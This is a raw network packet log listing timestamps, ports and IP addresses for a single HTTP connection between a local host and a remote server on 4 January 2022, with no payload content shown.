Jan 4, 2022 19:33:51.572273970 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.572293043 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572333097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572345018 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.572381020 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.572432995 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.572442055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582115889 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582169056 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582201958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582236052 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582259893 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582298040 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582319021 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582329035 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582370043 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582371950 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582416058 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582443953 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582464933 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582508087 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582530975 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582559109 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582593918 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582623005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582655907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582665920 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582688093 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582706928 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582720041 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582745075 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582750082 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582782984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582818031 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582820892 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582859039 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582878113 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.582895994 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582932949 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582967997 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.582969904 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.583007097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583028078 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.583051920 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583076954 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583120108 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583127022 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.583163977 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583180904 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.583206892 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583247900 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583266973 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.583297968 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.583364964 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.584079027 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.634637117 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.634669065 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.634730101 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.634879112 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.634905100 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.634932995 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.634951115 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.634960890 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.634991884 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635004044 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635020971 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635049105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635071993 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635077953 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635107040 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635121107 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635135889 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635164976 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635179043 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635195017 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635226011 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635237932 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635253906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635281086 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635298014 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635307074 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635335922 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635349035 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635365009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635394096 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635406017 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635421991 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635452986 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635464907 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635482073 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635512114 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635521889 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635540962 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635570049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635581017 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635600090 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635628939 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635658979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635689020 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635718107 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635725021 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635746956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635777950 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635807037 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635827065 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635835886 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635838032 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635840893 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635863066 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635889053 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635896921 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635925055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635945082 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.635951042 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.635978937 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636002064 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636004925 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636029005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636056900 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636059046 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636082888 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636111021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636117935 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636140108 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636156082 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636162996 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636190891 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636219025 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636219978 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636245966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636266947 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636272907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636300087 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636321068 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636327028 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636352062 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636372089 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.636377096 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.636416912 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646318913 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646362066 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646399021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646439075 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646465063 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646478891 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646497011 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646517992 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646554947 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646586895 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646591902 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646697044 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646701097 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646753073 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646794081 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646826029 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646827936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646874905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646879911 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646908045 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.646955967 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.646985054 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647030115 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647061110 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647078991 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647098064 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647131920 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647150040 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647157907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647186041 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647206068 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647221088 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647247076 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647270918 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647273064 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647300005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647322893 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647326946 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647356033 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647371054 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647381067 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647408962 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647423983 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647439957 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647465944 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647481918 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647495985 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647522926 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647536039 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647551060 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647584915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647604942 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647615910 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647646904 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647670984 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647680044 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647711992 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647725105 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647738934 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647764921 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647784948 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647793055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647819042 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647836924 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647845984 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647872925 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647891998 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647900105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647927999 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647950888 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.647954941 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647981882 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.647996902 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648009062 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648035049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648052931 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648061037 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648088932 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648104906 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648113966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648140907 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648164988 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648169041 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648196936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648211002 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648224115 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648250103 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648264885 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648276091 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648303032 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648319006 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648328066 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648355961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648372889 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648382902 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648410082 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648437977 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648458958 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648463964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648478985 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648490906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648518085 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648539066 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648544073 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648571968 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648587942 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648597956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648626089 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648644924 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648654938 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648682117 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648703098 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648710966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648736954 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648752928 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648762941 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648789883 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648808002 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648816109 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648843050 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648860931 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648895025 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648925066 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648943901 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.648950100 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.648977995 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649003983 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649004936 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649032116 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649050951 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649059057 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649085045 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649101973 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649111986 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649138927 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649154902 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649163961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649193048 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649209976 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649219990 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649262905 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649276018 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649302006 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649337053 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649349928 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649373055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649410009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649425983 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649444103 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649480104 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649496078 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649516106 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649552107 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649568081 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649601936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649638891 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649652958 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649674892 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649710894 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649724007 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649744987 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649780989 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649792910 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649816036 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649852991 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649864912 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649889946 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649926901 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.649960041 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.649965048 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650002956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650017977 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650038958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650078058 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650096893 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650115013 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650151968 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650166988 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650190115 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650223017 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650238037 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650259972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650296926 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650315046 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650331020 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650367975 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650405884 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650408030 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650444031 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650473118 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650499105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650527000 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650563955 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650584936 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650600910 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650635004 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650643110 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650666952 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.650670052 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650706053 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.650721073 CET	49875	80	192.168.2.5	141.8.193.236
